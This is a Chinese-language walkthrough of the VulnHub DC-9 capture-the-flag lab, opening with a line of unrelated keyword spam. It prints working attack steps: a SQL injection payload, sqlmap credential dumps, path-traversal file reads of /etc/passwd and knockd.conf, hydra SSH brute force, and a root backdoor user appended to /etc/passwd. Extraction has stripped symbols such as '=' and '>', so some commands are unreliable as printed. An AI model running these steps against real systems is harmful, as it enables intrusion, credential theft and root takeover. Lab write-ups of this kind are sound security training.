百度站内搜索 wordpress,浦东新区,网站域名个人备案跟企业备案,黄河勘测规划设计公司目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 发现SQL注入点2. Sqlmap跑数据3. 文件包含4. SSH爆破端口敲门服务5. 提权#xff08;写入/etc/passwd#xff09; 0x04 总结 0x00 准备 下载链接#xff1a;https://download.vulnhub.com/dc/DC-9.z… 目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 发现SQL注入点2. Sqlmap跑数据3. 文件包含4. SSH爆破端口敲门服务5. 提权写入/etc/passwd 0x04 总结 0x00 准备 下载链接https://download.vulnhub.com/dc/DC-9.zip
介绍The ultimate goal of this challenge is to get root and to read the one and only flag。只有一个flag。
0x01 主机信息收集 kali查询本机ip执行命令ifconfig
kali本机ip192.168.22.48
探测目标主机ip执行命令netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip192.168.22.14
探测目标主机开放端口执行命令nmap -sV -p 1-65535 -A 192.168.22.14
开放了22端口filtered ssh表示被过滤了ssh服务80端口http服务Apache2.4.38。 0x02 站点信息收集 访问站点http://192.168.22.14
探测站点的目录结构执行命令dirsearch -u 192.168.22.14 0x03 漏洞查找与利用 1. 发现SQL注入点 在search.php页面可以提交数据进行查询并返回查询的结果。 在manage.php页面可以提交用户名和密码进行登录。 综合上面两点考虑在search页面试一下有没有SQL注入。
在search页面http://192.168.22.14/search.php 提交查询的内容后查询的结果显示在 http://192.168.22.14/results.php 考虑是post方式查询的数据在请求体中。抓包确认一下。 这里查询可以输入用户名之类的所以考虑是字符型注入重点是单引号闭合和注释多余的代码。构造语句1‘ or 11 # 预期的结果是查询出所有内容。在Display All Records页面可以看到有17条记录是所有的内容。
在search页面提交构造的语句1‘ or 11 #
返回的结果是17条记录说明查询成功。说明这里存在SQL注入。
2. Sqlmap跑数据 这里是POST方式所以需要使用 -data 来指定参数。
确定是否存在注入执行语句sqlmap -u http://192.168.22.14/results.php --data “search1”
确定是有注入的并且数据是Mysql。 获取数据库名sqlmap -u http://192.168.22.14/results.php --data “search1” --dbs
有三个数据库Staffusersinformation_schema 确定当前链接的数据库名sqlmap -u http://192.168.22.14/results.php --data “search1” --current-db
当前的数据库是Staff。 获取Staff数据库的所有表名sqlmap -u http://192.168.22.14/results.php --data “search1” -D Staff --tables
有两个表StaffDetailsUsers 获取Staff数据库Users表的所有字段名sqlmap -u http://192.168.22.14/results.php --data “search1” -D Staff -T Users --columns
有三个字段PasswordUserIDUsername 这三个字段看起来都有点用直接获取这个表的全部内容sqlmap -u http://192.168.22.14/results.php --data “search1” -D Staff -T Users --dump admin用户的密码856f5de590ef37314e7c3bdf6f8a66dc
是一个32位的数字和字母混合起来的密码考虑MD5加密。
丢到网站里解密https://www.somd5.com/
解密结果transorbital1
3. 文件包含 回到站点的Manage页面用上面的用户名和密码登录。 其他的页面跟登录前没什么区别多了Add Record是一个插入数据的地方。
但是在welcome.php页面这里有个文件不存在的提示。考虑文件包含。
构造http://192.168.22.14/manage.php?file/etc/passwd 页面没有变化。
在路径前面加 ../ 直到可以回显。
构造http://192.168.22.14/manage.php?file../../../../etc/passwd
可以看到passwd文件的内容。 可以看到很多的用户名。想到之前获取数据库表的时候还有个users数据库。
获取这个数据库的表sqlmap -u http://192.168.22.14/results.php --data “search1” -D users —tables
有个UserDetails表。 获取这个表的全部内容sqlmap -u http://192.168.22.14/results.php --data “search1” -D users -T UserDetails --dump 这个表里的username用户名在/etc/passwd里面都出现过。
把username和password分别保存到文件user.txt和passwd.txt中保存的时候去掉每一行后面的空格还有最后的空白行。
4. SSH爆破端口敲门服务 利用hydra进行ssh爆破执行命令hydra -L user.txt -P password.txt 192.168.22.14 ssh
提示目标主机的22端口连不上。 前面进行端口探测的时候22端口是过滤的。 考虑端口敲门服务即knockd服务。简单来说就是Linux系统其实开启了某个服务端口但是knockd服务通过动态的添加iptables规则来隐藏系统开启的服务。需要使用自定义的一系列序列号来“敲门”使被隐藏的服务可以对外访问。不使用时再使用自定义的序列号来“关门”将端口关闭不对外监听。进一步提升了服务和系统的安全性。
Linux 的 Port Knocking 端口碰撞端口敲门
kncoked服务的配置文件是 /etc/knockd.conf 在这个文件中指明了需要的序列号sequence。
前面文件包含的地方可以查看系统文件访问[http://192.168.22.14/manage.php?file../../../../etc/](http://192.168.22.14/manage.php?file../../../../etc/passwd)knockd.conf
可以看到用来openssh的序列号是7469,8475,9842 执行敲门命令开启22端口knock 192.168.22.14 7469 8475 9842
执行完以后再看一下目标主机的开放端口22开启了。可以和最开始nmap的结果进行对比 再来用hydra爆破sshhydra -L user.txt -P password.txt 192.168.22.14 ssh
可以看到有三个用户。 分别ssh登录上这三个用户ssh username192.168.22.14
在家目录下分别执行ls -a 列出目录下的所有文件包括以 . 开头的隐含文件
在janitor用户下发现多了一个 .secrets-for-putin 。
查看一下内容发现了几个密码。 将这几个密码放到前面保存的密码文件password.txt中重新用hydra进行ssh爆破hydra -L user.txt -P password.txt ssh://192.168.22.14
可以看到多了一个用户被破解出来。 再登录一下这个新用户ssh fredf192.168.22.14
5. 提权写入/etc/passwd 查看可以进行提权的利用点sudo -l
这里有个test文件可以以root身份执行。 进入这个目录cd /opt/devstuff/dist/test
执行test文件./test 这个文件的使用和test.py有关。查找一下这个文件在哪find / -name test.py 2/dev/null 查看这个脚本的内容cat /opt/devstuff/test.py
#!/usr/bin/pythonimport sysif len (sys.argv) ! 3 :print (Usage: python test.py read append)sys.exit (1)else :f open(sys.argv[1], r)output (f.read())f open(sys.argv[2], a)f.write(output)f.close() 这个脚本的作用就是将第一个参数的内容读取出来添加到第二个参数中。这两个参数是文件的路径名字。
可以考虑给/etc/passwd写入一个具有root权限的用户用户名为admin密码为123456。
所以构造一条/etc/passwd的内容保存在一个文件中利用test命令写入到/etc/passwd文件中。
/etc/passwd的文件结构
用户名:密码hash值:uid:gid:描述性信息:home目录:默认shell 其中uidgid0为超级用户默认shell一般为/bin/bash。一开始构造了一个不需要密码的超级用户hack::0:0::/root:/bin/bash 结果切换用户登录的时候提示输入密码所以重新构造一个需要密码的超级用户。用户名为dcdc密码为123456。
先用openssl生成admin用户的加密密码openssl passwd -1 -salt dcdc 123456
得到加密的密码$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1 构造要插入的内容dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash
Linux中/tmp目录是任何用户都可以写的。
将构造的数据写入/tmp/admin中echo dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash /tmp/dcdc
再将构造的用户利用test写入passwd文件中sudo /opt/devstuff/dist/test/test /tmp/dcdc /etc/passwd
看一下/etc/passwd文件的内容可以看到写入成功。 切换到用户dcdc进入/root目录成功。 0x04 总结 主机信息收集
netdiscover探测目标主机ip。nmap探测开放端口和服务。22端口被过滤
站点信息收集
dirsearch扫描站点的目录结构。寻找sql注入点确定注入类型。
漏洞利用
sqlmap跑数据库获取登录的用户名和密码。发现文件包含。hydra爆破ssh。knock服务开启22端口。提权将新用户写入/etc/passwd。